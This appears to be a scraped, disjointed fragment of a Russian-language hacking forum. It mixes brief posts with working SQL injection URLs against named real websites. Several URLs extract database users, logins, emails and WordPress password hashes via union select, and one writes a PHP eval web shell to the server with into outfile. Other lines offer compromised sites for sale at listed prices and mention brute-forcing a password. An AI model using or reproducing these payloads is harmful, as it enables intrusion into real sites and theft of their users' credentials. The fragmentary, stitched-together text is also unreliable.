Separate names with a comma.
Спасибо, пробовал способ такой но только под linux
Интересно, поискал файлы в гугле запросом inurl:
Отправь POST запросом security=1a1a1a1a1 :confused:
Все быстро и на высшем уровне, буду заказывать еще!
http://yobiz.ru/view_post_bo.php?id=-127%27+union+select+1,2,3,concat%28user%28%29,0x3a,database%28%29%29,5,6,7,8,9+--+
Просто стоят ограничения на вывод
Есть код и в нем выдает ошибку "Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING...
fd0057ef2fddb7618e3ab11412bfcc6d
http://inter-climat.com.ua/news.php?id=-7+union+select+1,'%3C?php%20eval($_REQUEST[cmd]);?%3E',3,4,5+from+mysql.user+into+outfile+'D:%5CPEiD%5Cexte...
http://foros.tneu.edu.ua/news.php?id=-3857+union+select+1,login,3,4,5,6,7,8+from+login
http://www.cac-acc.org/news.php?id=-108+union+select+1,email,3,4,5,6,7,8,9,10,11,12,13,14,15+from+7t_saoluis Цена : 156$ Вывел не все таблицы!
Стоимость сайта : 146$ Но пароль надо брутить ( маленькая защита от любителей халявы )....
http://www.nabokovmuseum.org/news.php?id=-260+union+select+1,concat(user_login,0x3a,user_pass),3,4,5,6,7+from+wp_users
А если формата SQL кода ? 0x ???
PR : 7 http://www.columbiamnc.org/bio.php?id=-3+union+select+1,2,3,4,5,6,concat(user,ox3a,password),8,9,10,11,12,13,14,15+from+login